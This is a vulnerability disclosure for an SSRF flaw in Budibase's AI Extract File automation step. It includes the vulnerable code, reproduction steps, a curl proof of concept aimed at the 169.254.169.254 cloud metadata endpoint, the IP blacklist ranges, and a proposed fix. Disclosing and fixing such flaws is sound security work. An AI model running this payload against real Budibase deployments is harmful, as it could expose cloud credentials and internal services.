Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation

Vulnerability Details

CWE-918: Server-Side Request Forgery (SSRF)

The processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.

Vulnerable Code

packages/server/src/automations/steps/ai/extract.ts (lines 116, 139):

async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
  const response = await fetch(fileUrl)  // NO blacklist check!
  // ...
  const fallbackResponse = await fetch(fileUrl)  // Also NO blacklist check!
}

Contrast with All Other Automation Steps (Same Codebase)

Every other automation step that makes outbound HTTP requests properly uses fetchWithBlacklist:

• steps/slack.ts:19: response = await fetchWithBlacklist(url, {...})
• steps/discord.ts:28: response = await fetchWithBlacklist(url, {...})
• steps/zapier.ts:33: response = await fetchWithBlacklist(url, {...})
• steps/n8n.ts:53: response = await fetchWithBlacklist(url, request)
• steps/outgoingWebhook.ts: response = await fetchWithBlacklist(url, {...})
• steps/make.ts: response = await fetchWithBlacklist(url, {...})

The fetchWithBlacklist function (steps/utils.ts:100) validates URLs against the IP blacklist which blocks:

• 127.0.0.0/8 (loopback)
• 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC1918 private)
• 169.254.0.0/16 (link-local / cloud metadata)
• IPv6 private addresses

The AI Extract File step bypasses all of these protections.

Steps to Reproduce

Via Budibase UI

1. Login as builder user
2. Create or open any app
3. Go to Automations > New Automation
4. Add trigger: App Action
5. Add step: AI > Extract File Data
6. Set Source: URL
7. Set File URL: http://169.254.169.254/latest/meta-data/ (or any internal IP)
8. Click Run Test — the server makes the request without IP blacklist validation

Via curl (API)

# 1. Login and get session cookie
curl -s -c /tmp/bb.txt \
  "http://BUDIBASE_HOST/api/global/auth/default/login" \
  -X POST -H "Content-Type: application/json" \
  -d '{"username":"YOUR_EMAIL","password":"YOUR_PASSWORD"}'

# 2. Create automation with SSRF payload (replace YOUR_APP_ID)
curl -s -b /tmp/bb.txt \
  "http://BUDIBASE_HOST/api/automations" \
  -X POST -H "Content-Type: application/json" \
  -H "x-budibase-app-id: YOUR_APP_ID" \
  -d '{"name":"SSRF PoC","definition":{"trigger":{"stepId":"APP","event":"row:save"},"steps":[{"stepId":"AI_EXTRACT","inputs":{"source":"URL","fileUrl":"http://169.254.169.254/latest/meta-data/"}}]}}'

Code Review Verification

Compare the vulnerable function with the safe pattern used everywhere else:

VULNERABLE (no blacklist):
  packages/server/src/automations/steps/ai/extract.ts:116
    const response = await fetch(fileUrl)

SAFE (with blacklist) - every other step:
  packages/server/src/automations/steps/slack.ts:19
    response = await fetchWithBlacklist(url, {...})
  packages/server/src/automations/steps/discord.ts:28
    response = await fetchWithBlacklist(url, {...})

Expected vs Actual Behavior

Expected: processUrlFile() should reject internal/private IPs via fetchWithBlacklist() Actual: fetch(fileUrl) is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.

Impact

An authenticated user with builder permissions can:

• Access cloud metadata endpoints (AWS IAM credentials, GCP service tokens, Azure IMDS)
• Scan internal network services and ports
• Access internal APIs not intended for external access
• Exfiltrate data from internal services via the automation response

In Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.

Proposed Fix

Replace fetch(fileUrl) with fetchWithBlacklist(fileUrl), consistent with all other automation steps:

import { fetchWithBlacklist } from "../utils"

async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
  const response = await fetchWithBlacklist(fileUrl)  // Use blacklist
  // ...
  const fallbackResponse = await fetchWithBlacklist(fileUrl)  // Use blacklist
}